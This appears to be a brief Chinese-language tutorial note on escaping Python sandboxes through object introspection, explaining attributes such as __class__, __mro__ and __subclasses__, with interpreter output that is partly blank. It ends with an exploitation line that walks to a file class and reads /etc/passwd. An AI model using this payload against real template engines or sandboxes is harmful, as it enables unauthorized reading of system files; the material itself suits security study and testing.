找到父类
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
>>> ''.__class__
>>> ''.__class__.__mro__
(, , )
>>> ''.__class__.__mro__[2].__subclasses__()
[, , , , , , , , , , ,
, , , , ,
, , , ,
, , , ,
, , , , , , ,
, , , , , ,
, , , , , , ,
, , , , , ,
, , , , ,
, , , , , , , , ,
, , , , , , , , , , , , , , ]
可以看到有一个``
4:利用:
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()